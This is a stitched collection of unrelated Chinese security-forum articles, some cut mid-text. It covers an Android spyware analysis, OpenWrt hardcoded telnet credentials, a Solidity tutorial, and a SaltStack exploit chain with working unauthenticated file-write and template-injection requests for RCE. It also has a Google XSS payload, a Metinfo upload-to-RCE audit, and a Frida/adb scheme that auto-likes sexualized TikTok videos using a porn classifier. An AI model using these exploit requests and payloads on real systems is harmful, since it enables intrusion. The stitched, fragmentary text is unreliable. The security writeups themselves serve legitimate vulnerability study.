恶意软件应用几乎与原始APP是系统的，不管是代码还是功能。下面是从APP图标从界面的对比：
# 间谍软件功能
APP用硬编码的IP地址与C2进行通信。
恶意软件还可以隐藏自己，但是该功能没有使用，也没有在任何地方引用。
对拨出和接入的电话，pid和callid都会发送给C2。
TCPDUMP抓包：
在MediaRecorder的帮助下，恶意软件将通话内容录音并以随机生成的名字保存在本地。
然后录制的文件被发送到C2服务器。
SMS消息也一样：
TCPDUMP：
包括通话日期、时长、拨打者名称的所有通话日志也都记录并广播给C2。
另一个特征就是照相机获取，APP可以用前置和后置摄像头进行拍照。
之后，每个图片都会用随机生成的名字保存在本地，然后发送到C2服务器。
另一个特征是GPS参数记录。所有的GPS参数都会记录下来，然后用HTTP Post方法发送给C2服务器。
应用程序还用Google Debug证书签名了。
SHA-1: 61ed377e85d386a8dfee6b864bd85b0bfaa5af81
INFO: C=US, ST=California, L=Mountain View, O=Android, OU=Android, CN=Android, [email protected] | 社区文章 |
# Openwrt安全问题思考
## 1\. 背景
OpenWrt 可以被描述为一个嵌入式的 Linux 发行版。（主流路由器固件有 dd-wrt,tomato,openwrt,padavan四类）对比一个单一的、静态的系统，OpenWrt的包管理提供了一个完全可写的文件系统，从应用程序供应商提供的选择和配置，并允许您自定义的设备，以适应任何应用程序。
Openwrt操作系统作为目前嵌入式设备上主流的定制化操作系统，已经越来越受厂商喜爱，主流厂商比如小米所发布的家用路由设备都是基于Openwrt系统进行二次研发。Openwrt所占的市场份额也呈现逐年递增的趋势，那随之而来的一些安全问题也是需要我们注意，搭建环境也是我们进行安全研究的前提条件。
## 2\. 环境搭建
### 2.1 下载
下载地址：<https://github.com/openwrt/openwrt>
$ git clone git://github.com/openwrt/openwrt.git
**初始化项目**
$ ./scripts/feeds update -a
$ ./scripts/
### 2.2 目录结构
主要目录介绍
* include
此目录主要存放Openwrt编译系统过程中需要调用的MakeFile文件，包含的MakeFile都可以在其中找到。
* package
此目录主要存放Openwrt软件包。每个代码包都存放在此文件目录，在编译过程过程中会自动识别MakeFile文件并编译。
* scripts
此目录主要存放脚本工具，包括一些要用的shell、python工具。
* staging_dir
此目录主要存放内核、工具等源码编译结果
* target
此目录主要存放和平台相关的代码(多种不一样的芯片型号)。
* toolchain
此目录主要存放交叉编译工具链。
* tools
此目录主要存放一些工具集(压缩相关、加壳、文件系统构造等)
* build_dir
此目录主要存放内核、工具、软件源码编译内容。其目录内容和staging_dir一模一样，staging_dir就是build_dir中代码的编译结果。
### 2.3 配置选项
$ make menuconfig
* target System(设备架构)
* Sub Target
* Target Profile
* Target Images(选择vmdk)
* Base System(基本系统--可选择安装的程序)
不需要变动，如果想让自带的busybox命令有增加，可以选择Customize busybox options,增加想要的命令
* Boot Loaders（启动项--不需要改变）
* Development(主要是GDB调试有关选项)
* Extra package
* Frimware(CPU驱动相关的)
* kernel(内核相关)
* kernel modules(内核驱动相关)
* languages(需要安装的编程语言)
* Libraries(动态库)
* network(网络相关的程序)
* Utilities(工具包--常见的程序)
**注意**
本次搭建为X86_64架构便于本地调试，其他架构版本需要具体硬件设备(如树莓派)
### 2.3 编译
$ make V=s
编译生成目录
编译完成之后的二进制文件(完整的bin文件，所有的ipk文件)存放于bin目录
### 2.4 运行
本次展示的是x86_64平台下编译出来的虚拟机
**文件名(openwrt-x86-64-combined-ext4.vmdk)**
Vmware打开并载入
开启dropbear
连接
## 3\. 安全问题思考
### 3.1 后端代码
#### **3.1.1** Lua语言后台
以小米某款产品为例
* 根文件系统
* 后端代码
controller ---- Web路由
查看路由，代码审计可能出现的一系列漏洞(未授权、命令注入、越权、xss、目录穿越等)
#### 3.1.2 Boa-开源http服务器
360某款产品，并没有采用Openwrt官方提供的Lua语言，而是通过自己研发的boa，对HTTP请求进行处理
* 根文件
逆向分析
### 3.2 硬编码
/etc/passwd和/etc/shadow是否存在初始密码
telnet与ssh服务是否存在默认票据且无法修改
某款路由器存在硬编码
#!/bin/sh
echo [$0]: $1 ... > /dev/console
orig_devconfsize=`xmldbc -g /runtime/device/devconfsize`
entn=`devdata get -e ALWAYS_TN`
if [ "$1" = "start" ] && [ "$entn" = "1" ]; then
telnetd -i br0 -t 99999999999999999999999999999 &
exit
fi
if [ "$1" = "start" ] && [ "$orig_devconfsize" = "0" ]; then
if [ -f "/usr/sbin/login" ]; then
image_sign=`cat /etc/config/image_sign`
telnetd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &
else
telnetd &
fi
else
killall telnetd
fi
### 3.3 后门漏洞
一般嵌入式设备除了处理开放80、443端口，也会开启其他端口(53、22、23端口)
除了对常规的Web端口进行逆向分析，也需要我们查看是否存在其他端口的程序可让攻击者通过某种认证方式连接，从而达到命令执行的目的。
NetCore(磊科)全系列路由器后门漏洞
igdmtpd 监听53413端口
## 总结
通过本篇文章希望让大家对Openwrt的组织架构有个更加清晰认识，为后面的IoT安全研究起到一个铺垫的作用。 | 社区文章 |
# 区块链之智能合约入门
## 第一步 安装环境
首先这里写的合约是指solidity合约，使用Remix IDE。所以我们第一步就是安装Remix IDE。remix
ide是开发以太坊智能合约的神器，支持网页在线编写、部署和测试智能合约。网址<http://remix.ethereum.org>
可以选择先跳过安装环境这一步，直接使用在线的<http://remix.ethereum.org>
我这边的测试环境是kali-linux
安装的指令为
git clone https://github.com/ethereum/remix-ide.git
cd remix-ide
sudo npm install
npm run build && npm run serve
注意：一定要sudo npm install，一定要sudo npm install，一定要sudo npm
install，重要的事情说三遍，本人在这里踩了一次坑了
一般kali是不会自带npm这个东西的，所以我们需要先安装npm
NPM是随同NodeJS一起安装的包管理工具，能解决NodeJS代码部署上的很多问题
Linux安装NPM指令（如果是非Linux建议查看Node.js的菜鸟教程，链接为
<https://www.runoob.com/nodejs/nodejs-install-setup.html）>
wget https://nodejs.org/dist/v10.9.0/node-v10.9.0-linux-x64.tar.xz // 下载
tar xf node-v10.9.0-linux-x64.tar.xz // 解压
cd node-v10.9.0-linux-x64/ // 进入解压目录
./bin/node -v // 执行node命令 查看版本
解压文件的 bin 目录底下包含了 node、npm 等命令，我们可以使用 ln 命令来设置软连接：
ln -s /root/node-v10.9.0-linux-x64/bin/npm /usr/local/bin/
ln -s /root/node-v10.9.0-linux-x64/bin/node /usr/local/bin/
ln -s /root/node-v10.9.0-linux-x64/bin/npx /usr/local/bin/
这边前一个路径是你node.js下载到本地的路径
这样表示成功建立软连接，可以使用npm了。
当然，不建立软连接也可以直接使用，只要进入到npm所在的目录下即可
然后开始执行我们一开始的安装Remix IDE的命令
这边如果运行报错可能是因为在执行到npm run build的时候提示错误，没有找到模块fast-async模块，一般不会，如果前面你是sudo
install的话，因为没有加sudo的话会出现下面的错误
npm ERR! Error: EACCES: permission denied, access
如果出现cannot find module 'xxx',说明你缺xxx模块,你需要做的就是输入命令sudo npm install
xxx.之后将会自动下载安装,如果提示不成功,再来一遍
接下来如果一切正常的话就可以npm run build
npm run serve
然后访问即可
环境部署成功
## 第二步 编写第一个HelloWorld
Solidity是以太坊智能合约编程语言，所以在这之前需要对Solidity一些基本的语法进行一些了解，我是通过<http://www.tryblockchain.org/这个网站进行初步简单的学习的>
这边在网上找了个log函数，方便等会看是否成功调用
pragma solidity ^0.5.11;
//通过log函数重载，对不同类型的变量trigger不同的event，实现solidity打印效果，使用方法为：log(string name, var value)
contract Console {
event LogUint(string, uint);
function log(string memory s , uint x) internal {
emit LogUint(s, x);
}
event LogInt(string, int);
function log(string memory s , int x) internal {
emit LogInt(s, x);
}
event LogBytes(string, bytes);
function log(string memory s , bytes memory x) internal {
emit LogBytes(s, x);
}
event LogBytes32(string, bytes32);
function log(string memory s , bytes32 x) internal {
emit LogBytes32(s, x);
}
event LogAddress(string, address);
function log(string memory s , address x) internal {
emit LogAddress(s, x);
}
event LogBool(string, bool);
function log(string memory s , bool x) internal {
emit LogBool(s, x);
}
}
pragma solidity ^0.5.11;
import "browser/Console.sol";
contract HelloWorld is Console{
function getFlag(uint amount) public returns (string memory){
bytes memory flag="flag{asf54654v98x7v}";
if(amount>100){
log("give you flag!",flag);
}
uint state=0;
log("no flag!",state);
}
}
这边就是通过读取参数输入的新值，如果amout大于100，那么就打印出flag
项目结构
编译合约时有些蒙，后来发现应该用火狐浏览器，安装MetaMask，可以在火狐浏览器的插件中直接搜索安装，如果不行的话可以自行百度一下另外的安装方法。
在这边添加这个模块
选择Environment为Injected Web3，然后Remix IDE会请求连接到你的MetaMask钱包里的账号
然后添加Solidity compiler模块
对我们的HelloWorld进行编译
编译成功后这边会有绿色箭头，如果编译失败可以看编译详细，查看错误原因
然后回到这边就可以看到这边出现了我们编译好的HellloWorld。
如果之前没有部署过这个合约就点击下方橙色框Deploy，此时会跳出支付gas的弹窗，点击确定即可
等待几秒合约就会部署完成，最下方就会显示已部署的合约（及其地址）；如果之前部署过相同合约，那么可以将合约地址复制到At
Address并点击蓝色按钮加载合约，效果相同。
这边这个橙色getFlag就是合约里的函数，输入一个金额，并点击橙色按钮就可以调用此函数了只要大于100就会打印flag，通过ropsten.etherscan.io可以查到此合约的交易和事件。
输入101，点击getFlag，然后确认即可
这边会自动转成16进制打印出来。
## 第三步 加载已部署合约
首先我们部署好的合约地址是可以在这边看到
如果是我们自己要加载我们自己的合约的话，可以直接通过第二步说的At Address加载
点击At Address即可
以上都是在remix下测试的，如果我们要加载他人的合约就需要在geth下测试
## 第四步 和已知合约地址交互
这边首先获得一个我们部署好的合约地址，记录下来
在这边声明函数原型
编译完成后这边会出现我们编译好的test.sol
在At Address中填入我们之前记录下来的合约地址，点击蓝色的At Address
这边就已经实现交互了
这边可以看到我们成功和合约进行了交易，点进去查看具体事件
发现成功打印了flag，证明我们成功调用了合约中的getFlag函数实现了和合约的交互 | 社区文章 |
大年初一给小伙伴们的一个支付宝红包解密的题目。
[攻击LNMP架构Web应用的几个小Tricks](https://www.leavesongs.com/PENETRATION/some-tricks-of-attacking-lnmp-web-application.html)
其中有一些具有实战意义的知识点：
1. 恢复裸仓库：这是有一次测试中误打误撞进入了某git服务器后我恢复源码的姿势
2. 绕过`FILTER_VALIDATE_EMAIL`检测：这是在实际漏洞CVE-2016-10033中学到的姿势
3. 绕过Nginx Host：这是一次测试中遇到Host头注入点时发现的姿势
4. INSERT注入利用：这不用说了，大量Web应用出现过相关漏洞 | 社区文章 |
# SaltStack未授权RCE分析（CVE-2021-25281 25282 25283）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
2月26号，那是一个风和日丽的夜晚，我看着电脑，电脑看着我。群里的大佬突然就甩了一个saltstack
未授权任意文件写入的poc，告诉我后面还有个RCE。我看着大佬，大佬看着我，我看了看自己日渐下降的技术，狠狠心跟了一波这个漏洞。
## 背景
SaltStack管理工具允许管理员对多个操作系统创建一个一致的管理系统，包括VMware
vSphere环境。SaltStack事件驱动的自动化软件帮助IT组织大规模管理和保护云基础设施，同时自动化高效编排企业DevOps工作流。
2月26号，SaltStack发布高危漏洞通告。漏洞通过 **CVE-2021-25281 未授权访问** 和 **CVE-2021-25282
任意文件写入** ，最后配合 **CVE-2021-25283 模板注入** 完成了未授权RCE的组合洞。
## Debug环境配置
去github挑一个漏洞范围内的版本下载下来，我下载的版本为salt-3002.1，环境为了方便调试选择Ubuntu
解压完进入scripts目录，里面是salt的启动脚本
sudo cp -r * /usr/local/bin/
pip创建链接用的egg，方便一会直接debug
pip3 install -e .
创建/etc/salt/目录，写入如下配置文件，为了方便 ~~偷懒~~ 调试，将disable_ssl设置为true，省去生成ssl证书的环节
/etc/salt/master.d/netapi.conf
rest_cherrypy:
port: 8000
disable_ssl: True
external_auth:
pam:
saltdev:
- .*
- '@wheel' # to allow access to all wheel modules
- '@runner' # to allow access to all runner modules
- '@jobs' # to allow access to the jobs runner and/or wheel module
/etc/salt/master.d/autoaccept.conf
auto_accept: True
启动测试一下
sudo salt-master
sudo salt-api -l all #打印所有信息
用vscode打开salt项目，创建lanuch.json文件
{
// Use IntelliSense to learn about possible attributes.
// Hover to view descriptions of existing attributes.
// For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
"version": "0.2.0",
"configurations": [
{
"name": "FA1C0N",
"type": "python",
"request": "launch",
"program": "/usr/local/bin/salt-api",
"console": "integratedTerminal",
"args": [
"-l","all"
],
"sudo": true,
}
]
}
debug的时候先开个终端启动salt-master，再用vscode debug salt-api
## wheel_async未授权访问（CVE-2021-25281）& wheel/pillar_roots.py文件任意写漏洞
(CVE-2021-25282 )
直接访问salt-api的端口可以看到所有能调用的函数
按照云鼎实验室大佬 **1mperio** 的分析文章，salt-api在2020年的CVE-2020-25592就是因为ssh模块的授权问题导致了后续的RCE。
~~虽然不是同一个时间，但是同一个地点，今天给大家接着表演一个未授权。~~ 不过这次出问题的是同胞兄弟wheel_async模块。
能不能任意调用，用公开的验证程序测一下就知道了
import requests
url = "http://127.0.0.1:8000/run"
json_data = [{
"client": "wheel_async",
"fun": "pillar_roots.write",
"data": "FA1C0N is here",
"path": "../../../../../tmp/FA1C0N",
"username": "password",
"password": "username",
"eauth": "pam"
}]
r = requests.post(url, json=json_data, verify=False,proxies=proxies)
print(r.text)
运行poc，首先断在`salt/salt/netapi/init.py:NetapiClient.run()`函数，可以看到run函数是通过getattr的方式动态调用传入的wheel_async函数，并将args和kwargs作为参数传入
进入wheel_async函数，继续
进入cmd_async函数，此时fun参数就是我们想要触发写入文件的函数，继续
第541行的代码就是我们准备要跳转的地方，self._proc_function函数接下来会调用salt/salt/client/mixins.py:SyncClientMixin.low()，并通过该函数使用args参数和kwargs参数动态调用wheel包中的方法。
在salt/wheel/pillar_roots.py的write函数下断点，中途不存在什么过滤，完美到达写入位置。（注意由于salt是用的异步+管道的方式，因此能不能断到完全随缘
~~是时候看看自己是不是有欧洲血统了~~ ）
## sdb rest插件模板注入（CVE-2021-25283）
配置文件这里被卡了好久，晚上睡觉的时候漏洞之神给我托梦这个配置文件的位置 ~~指qq找大佬求助~~ ，终于让我给整明白了，不就master.d目录吗
>
> sdb模块有许多后端，其中一个是rest（salt/sdb/rest.py），rest模块用来从远端的http服务器获取请求，而且支持模版渲染，且默认使用Jinja2引擎。
根据 **1mperio**
大佬的分析，配置文件实从url获取请求，而且还将url放到JINJA2中渲染，那么我们构造一个访问本地的`http://127.0.0.1:8001/{%
for i in range(10) %}{{ i }}{% endfor %}`作为payload试试
有样学样，创建test.conf，
q: sdb://poc/testKey?a=1
poc:
driver: rest
testKey:
url: 'http://127.0.0.1:8001/{% for i in range(10) %}{{ i }}{% endfor %}'
那么问题来了，怎么触发呢，按照 **1mperio** 大佬的说法是要从下面一堆里面找一个调用了master_config的函数
config.apply
config.update_config
config.values
error.error
file_roots.find
file_roots.list_env
file_roots.list_roots
file_roots.read
file_roots.write
key.accept
key.accept_dict
key.delete
key.delete_dict
key.finger
key.finger_master
key.gen
key.gen_accept
key.gen_keys
key.gen_signature
key.get_key
key.print
key.list
key.list_all
key.master_key_str
key.name_match
key.reject
key.reject_dict
minions.connected
pillar_roots.find
pillar_roots.list_env
pillar_roots.list_roots
pillar_roots.read
pillar_roots.write
调用master_config的函数太多了，这么多要怎么找呢，这里就要感谢pycharm万能ctrl+alt+H快捷键 ~~qq抱大佬大腿才是最优解~~ 。
先盲选第一个salt/wheel/config.py的`config.apply`，参数为key和value
根据之前`pillar_roots.write`的调用方式，我们直接修改之前的包为如下
POST /run HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 177
Content-Type: application/json
[{"client": "wheel_async", "fun": "config.apply", "key": "FA1C0N is here", "value": "../../../../../tmp/FA1C0N", "username": "password", "password": "username", "eauth": "pam"}]
发送，get it！Debug看看到底中间发生了什么
由于config.apply的调用跟pillar_roots.write一样都是通过wheel_async调用，断不断到完全随缘，因此我们这里用一个取巧的方法间接debug康康。
> 加载配置文件时，读取到sdb://my-rest-> api/keys后，会找到配置文件1中的keys内容，将url作为Jinja2模板编译，使用?user=myuser作为变量渲染url，即会从
> <https://api.github.com/users/myuser/keys> 中拉取数据。
根据 **1mperio** 大佬的文章的分析，那么我们启动salt-api的时候程序一定会自动加载一次master_config函数，try it !
在salt/config/ **init**.py的master_config函数的apply_sdb位置下断点，重启salt-api，断到，get it!
假装此时我们是发送了`config.apply`才断到了master_config函数，opts里的值就是我们用上面的未授权写入的配置文件，跟进apply_sdb函数
apply_sdb函数会遍历我们传入的opts参数找出其中开头为”sdb://“的字符串，并传入sdb_get方法
sdb_get函数会将我们传入的`sdb://poc/testKey?a=1`字符串拆解，然后找到配置文件中的poc配置项，然后读取driver字段的值，赋值给fun变量，最后将a=1的值赋给query参数。
sdb函数主要是将参数赋值了LazyLoader，LazyLoader是为了加载salt.sdb包下面的function变量对应的方法，最终跳转的就是salt/sdb/rest.py的get函数
get函数调用了query函数，跟进去看看
query函数是将`testKey?a=1`解析后传入compile_template，断点位置的compile_template函数传入的input_data就是我们配置文件中写入的url值
继续跟进compile_template函数调用的render方法
render函数将传入的参数放入JINJA2中渲染，跟进JINJA函数
JINJA是将render_jinja_tmpl函数传入了wrap_tmpl_func方法
跟进wrap_tmpl_func，这里其实就是将tmplstr, context, tmplpath作为参数传入render_jinja_tmpl参数
跟进render_jinja_tmpl，成功抵达template.render函数，jinja2模板渲染！梦开始的地方！
## 验证漏洞
梳理一下流程，首先将文件写入的位置改为/etc/salt/master.d/test.conf，然后调用盲猜的config.apply函数
~~感谢大佬直接把触发点放到第一个位置~~ ，触发SSTI漏洞，最终执行RCE。
salt的conf文件用的是yaml格式，因此需要注意一下转义的问题，如果不知道怎么转义才是正确的，直接用下面的脚本
import yaml
yamlFile = 'conf.yml'
complex_string = '''祖传SSTI payload'''
data = {
'complex_str': complex_string
}
f = open(yamlFile, 'w', encoding='utf-8')
yaml.dump(data, f, allow_unicode=True)
祭出祖传的JINJA2 payload，生成test.conf，完美
发送上面我们写好的config.apply，RCE，yes！
## 总结
这个RCE顺下来是真的舒服，非常强大的组合洞，果然组合洞才是yyds。从一堆茫茫多的函数里找到未授权，再到写文件，最后一波配置文件完成SSTI，绝杀。甚至说如果salt使用root权限运行，我们可以通过文件覆盖覆盖/etc/passwd，直接打穿。
~~你以为函数多就不能RCE了吗（战术后仰）~~
新人第一次写文章，写的不是很好，求师傅们轻喷ヽ(*。>Д<)o゜。
## Refer
<https://mp.weixin.qq.com/s/QvQoTuQJVthxS07pbLWJmg>
<https://paper.seebug.org/1491>
<https://mp.weixin.qq.com/s/iu4cS_DZTs0sVVg92RBe4Q>
<https://twitter.com/KevTheHermit/status/1365130814430846979>
<https://github.com/saltstack/salt/commit/3fbf9a35bc4f7a43f628631f89ebb31f907859e3>
<https://xz.aliyun.com/t/7746>
<https://www.jianshu.com/p/c8ef2036079b> | 社区文章 |
# FRIDA脚本系列（三）超神篇：百度AI“调教”抖音AI
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01. 日本抖音美如画
在万恶的资本主义国家，女孩子普遍都吃不饱，每天也没啥事情干，只能在沙滩上晒晒太阳，拍点短视频填充自己空虚的灵魂，在穿着上也是怎么省怎么来，比如布料普遍不会太多，有时候甚至会用
**几根线** 来代替面料，资本主义实在是太可恶了。
为了培养社会主义的接班人，让更多的人跟我一起去批判资本主义，我在朋友圈发了一些上述的视频（样本地址：[github主页](https://github.com/hookmaster/frida-all-in-one)/sample/TikTokJapan/，为了大家批判的足够充分，我采集了足够多的`mp4`样本。）
大家纷纷表示此时此刻正需要这样的反面教材，有人甚至发私信问我，如何可以得到更多的这样的反面教材，他们已经通过一系列方法，成功的进入敌人的大本营，奈何不懂日语，刷出来的都是一些索然无味的视频，非常懊恼。
为了解决大家的刚性需求，建设富强民主文明和谐的程序员社区，我们来研究一下，如何使用最为前沿的`AI`技术，结合胶水框架——`frida`，提高大家刷出反面教材的几率，做到真正的造福程序猿，提高幸福感和获得感。
（PS：文中大量使用黑产惯用技术，为避免效仿，仅介绍过时的工具，且不做调试）
## 0x02. 如何让抖音AI更加“智能”
首先我们来看下日本抖音的界面，跟国内的版本并没有什么不同。
那就其实很容易想到，只要看到自己喜欢的反面教材，尤其是泳装、沙滩、比基尼的内容，只要疯狂点赞就好了。
做足全套的话，就是点赞、关注、评论加转发，这些是正向反馈。
更有甚者，可以滑进某个喜欢的爱豆页面，将她发的每一个视频全都点赞一遍，这个正向反馈也足够大了，不过会模糊我们的目标——泳装比基尼，毕竟爱豆也不是每个短视频都比基尼。
我们应该目标明确：就是要看比基尼！要不然潜入敌人内部的目的何在？国产小姐姐也足够迷人。
如果不是比基尼呢？负面反馈好像真的很少，直接上滑跳过这则视频即可。
### 点赞&关注&上滑&转发：模拟点击
在安卓手机上进行模拟点击的技术实在是太多了，常见的有按键精灵、触摸精灵，辅助功能、adb调试指令直接点击等等。
这个产业链也是非常成熟，大量黑灰从业者开发出大量的脚本工具，来实现“定制”的功能。
`frida-server`注入到目标进程之后，可以加载一些模拟点击的库，根据`frida`脚本及点击脚本的逻辑，有针对性地对指定内容进行点赞、关注、上滑和转发。这些操作的位置都是固定的，只要模拟用户点击上去即可实现。
辅助功能是另外一个方法，而且这是一个完全合法的方法，毕竟这是安卓系统自带的一个功能，提供给残障人士去用的，`frida-server`注入到目标进程之后，可以直接加载一些辅助功能的代码库，进行操作。
另外安卓的调试命令`adb`也是可以直接在屏幕上进行点击的，格式如下。可以在`frida`的客户端直接用`python`的`os`库调用`adb`的相关命令，进行屏幕点击的相关操作，`adb`点击的相关研究也特别多，百度搜一下可以找到很多代码。
adb shell
shell@PRO6:/ $ input tap 125 521
shell@PRO6:/ $
最最`low`的方式就是在`Windows`模拟器里跑，有`Intel Houdini for
arm-x86`在，也可以把抖音跑起来，但抖音肯定会做检测就对了。然后使用`python`的`pywin32`实现`Windows`窗口的点击，这样做有两个好处，一个是脱离真机，成本大大降低，还有就是做批量化很容易。缺点也是容易被检测到。
当然，在`iOS`上，这类需求也是屡见不鲜的，除了上述触摸精灵本身也支持`iOS`端之外，`iOS`的模拟点击库也是层出不穷，`frida-server`可以加载这些`gadget`，调用`API`，实现模拟点击、双击、滑动等功能。
### 评论：模拟点击&输入框
模拟点击的功能实现了，在输入框里输入评论更加小菜一碟了，使用`frida-server`来`hook`输入框那简直跟玩一样，属于入门技巧，这里是一段典型的`hook` `TextView`的代码。
console.log("Script loaded successfully ");
Java.perform(function () {
var tv_class = Java.use("android.widget.TextView");
tv_class.setText.overload("java.lang.CharSequence").implementation = function (x) {
var string_to_send = x.toString();
var string_to_recv;
send(string_to_send); // send data to python code
recv(function (received_json_object) {
string_to_recv = received_json_object.my_data
}).wait(); //block execution till the message is received
return this.setText(string_to_recv);
}
});
需要注意的是，输入的字符串肯定不可以全都是一样的，这样也太明显了，最好用`sqlite`存一个`舔狗集合.db`，然后不断从里面调就行了。
## 0x03. 如何“训练”抖音AI
### 截图
在`frida`的客户端，使用`python`调`os`包，执行`adb`调试命令，对正在运行中的手机进行截图操作，截图会保存在`sd`卡上。运行的频率可以是每两三秒运行一次之类的，具体看具体调试结果。
$ adb shell screencap -p /sdcard/01.png
### 将图片传回`PC`
逻辑跟截图相同，取回`sd`卡里的照片。
$ adb pull /sdcard/01.png
### 将图片上传到百度`AI`平台
百度`AI`平台的调用接口还是比较简单易用的，提供的功能也非常多，比如`GIF`色情识别，短视频审核，图像审核等等，将图片使用`base64`编码之后，`post`到百度`AI`的服务器即可，返回的`json`数据即为百度`AI`对图片的判定结果。
### 获取百度`AI`结果
返回的`json`包也是简单粗暴，直接将不合规内容以及可能性全都打印出来，这样的格式化数据想要提取出来进行逻辑判断只能说是太容易了。
{
"conclusion": "不合规",
"log_id": "15537510677705536",
"data": [
{
"msg": "存在性感内容",
"probability": 0.999525,
"type": 2
},
{
"msg": "存在水印码内容",
"probability": 0.8558467,
"type": 5
},
{
"msg": "存在公众人物",
"stars": [
{
"probability": 0.73777246,
"name": "孙淑媚"
}
],
"type": 11
}
],
"conclusionType": 2
}
### 按照结果决定是否点赞
在`frida`客户端，将结果动态影响到`frida-server`是非常容易的，[前面的教程](https://github.com/hookmaster/frida-all-in-one/blob/master/03.%E5%9F%BA%E6%9C%AC%E6%A1%88%E4%BE%8B%E4%B8%8A%E6%89%8B/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E9%A2%86%E6%82%9FFrida%E7%9A%84%E7%B2%BE%E9%AB%93\(%E5%9F%BA%E4%BA%8E%E5%AE%89%E5%8D%938.1)/READMD.md)中已经讲得非常丰富了。
## 0x04. 百度AI效果演示
上面说了这么多，如果百度`AI`不能准确地将我们想要看的“反面教材”圈出来点赞，那岂不是都白干了。所以百度`AI`一定要准，对于“反面教材”的筛选要毫不留情，尽量不要有漏网之鱼。虽然哪怕即使有，使用百度`AI`“调戏”抖音`AI`这个事情也是有意义的，因为成功率已经相当高了。
我们选择`色情识别`功能，来验证一下，到底识别率怎么样。
色情识别，存在性感内容，很好。
色情识别，存在性感内容，很好。
色情识别，存在性感内容，很好。
色情识别，通过，很好。
色情识别，通过，很好。
色情识别，存在性感内容，很好。
百度`AI`真棒！比基尼一张不落！全都识别了出来！
真好。
蒽，抖音看片，指日可待！ | 社区文章 |
# tl;dr
[Link](https://hackerone.com/linkks
"Link")和作者使用[Acunetix扫描器](https://www.acunetix.com/blog/web-security-zone/google-xss-found-using-acunetix/ "Acunetix扫描器")发现了Google的一处XSS。
# Acunetix漏洞报告
作为日常的研究工作，我们经常用不同的漏洞扫描器扫描Google的各种服务。不久前漏洞扫描器报告了以下XSS
https://google.ws/ajax/pi/fbfr?wvstest=javascript:domxssExecutionSink(1,%22%27%5C%22%3E%3Cxsstag%3E()locxss%22)
有时候存在误报情况，但既然扫到了Google的漏洞，还是要深入研究一下。
# 分析HTTP响应
接下来就是检查分析HTTP响应
HTTP/1.1 200 OK
...
<!doctype html><div style="display:none"> <form method="post"> </form> <script nonce="+ao+4Egc+7YExl3qyyWMJg==">(function(){var a=window.document.forms[0],b=location.hash.substr(1);b||window.close();var c=b.split("&"),d=decodeURIComponent(c[0]);a.action=d;for(var e=1;e<c.length;e++){var f=c[e].split("="),g=document.createElement("input");g.type="hidden";g.name=f[0];g.value=decodeURIComponent(f[1]);a.appendChild(g)}a.submit();}).call(this);</script> </div>
该响应包含一个空表单和一些JavaScript代码。我们将代码弄得美观一些
(function() {
var a = window.document.forms[0],
b = location.hash.substr(1);
b || window.close();
var c = b.split("&"),
d = decodeURIComponent(c[0]);
a.action = d;
for (var e = 1; e < c.length; e++) {
var f = c[e].split("="),
g = document.createElement("input");
g.type = "hidden";
g.name = f[0];
g.value = decodeURIComponent(f[1]);
a.appendChild(g)
}
a.submit();
}).call(this);
然后了解代码每一步的原理
(function() {
// 将要自动执行的函数
}).call(this);
(function() {
// The variable “a” points to a form that is empty right now
var a = window.document.forms[0],
// The variable b is a location hash without the # character
b = location.hash.substr(1);
// If there is no b (no hash in the location URI), try to self-close
b || window.close();
// Split the location hash using the & character
var c = b.split("&"),
// And decode the first (zero) element
d = decodeURIComponent(c[0]);
// The hash value becomes the action of the form
a.action = d;
// The below content is not important in the context of the issue
for (var e = 1; e < c.length; e++) {
var f = c[e].split("="),
g = document.createElement("input");
g.type = "hidden";
g.name = f[0];
g.value = decodeURIComponent(f[1]);
a.appendChild(g)
}
// The form is auto-submitted
a.submit();
}).call(this);
# 找到合适的payload
一旦我们知道了函数的工作原理，接下来就是构造一个合适的payload：
https://google.ws/ajax/pi/fbfr#javascript:alert(document.cookie)
我们还决定看看此漏洞是否会影响其他Google域：
https://google.com/ajax/pi/fbfr#javascript:alert(document.cookie)
# 修复措施
只需更改一行代码即可消除该漏洞：
(function() {
var a = window.document.forms[0],
b = location.hash.substr(1);
b || window.close();
var c = b.split("&"),
d = decodeURIComponent(c[0]);
// 只需更改以下行。
// to check if the location hash begins with http:
0 != d.indexOf("http") && window.close();
a.action = d;
for (var e = 1; e < c.length; e++) {
var f = c[e].split("="),
g = document.createElement("input");
g.type = "hidden";
g.name = f[0];
g.value = decodeURIComponent(f[1]);
a.appendChild(g)
}
a.submit();
}).call(this);
# 时间线
漏洞报告时间：2019年12月27日上午01：01。
漏洞分类时间：2019年12月27日下午08：32。
修复时间：2020年1月8日。
支付赏金：2020年1月8日。
赏金金额：5000美元
原文：https://www.acunetix.com/blog/web-security-zone/xss-google-acunetix/ | 社区文章 |
原文地址：http://www.venenof.com/index.php/archives/179/
好久没代码审计了，今早上cheery师傅跟我说了一下这个洞，尽管这个洞已经被修复了，但是还是比较新的，看了下没那么难，就简单写下步骤：
0x01
首先看一下配置的文件include/common.inc.php
>
>
发现Metinfo采用了伪全局变量的这样一个设置，那么是否会有变量覆盖之类的漏洞，grep下：
>
>
0x02
觉得login那里应该会发生点什么故事XD
既然这样的话，看了下后台登录的地方：
1. login.php
2. login_check.php
3. login_out.php
0x03
一共三个文件，看一下check，既然包含了common.inc.php，那么就意味着里面存在一些可控的变量：
>
>
果不其然，对于参数并没有初始赋值，比较开心XD
* * *
研究了下发现有两种做法：
0x01：知道路径的话：
既然可以require，那么我们需要一个文件就可以执行，so，注册一下会员，看看有没有什么惊喜的东西XD
发现可以上传图片logo：
>
>
既然这样的话，我们可以上传一个利用phar或者zip打包的文件，从而达到RCE的目的：
>
>
>
>
然后file_put_contents或者一开始就用file_put_contents拿到一个shell。
0x02不知道路径
貌似是不能用../去代替的，如果有师傅成功的话，求交流。
在这种情况下，我们可以用php的伪协议去达到一些我们想达到的目的，不过allow_url_include默认是不开启的，所以也算有点鸡肋，不过CTF比赛可以用一下。
如果allow_url_include = on，那么我们可以利用base64让后面的../失效，从而达到RCE，具体可以自己试一下:) | 社区文章 |
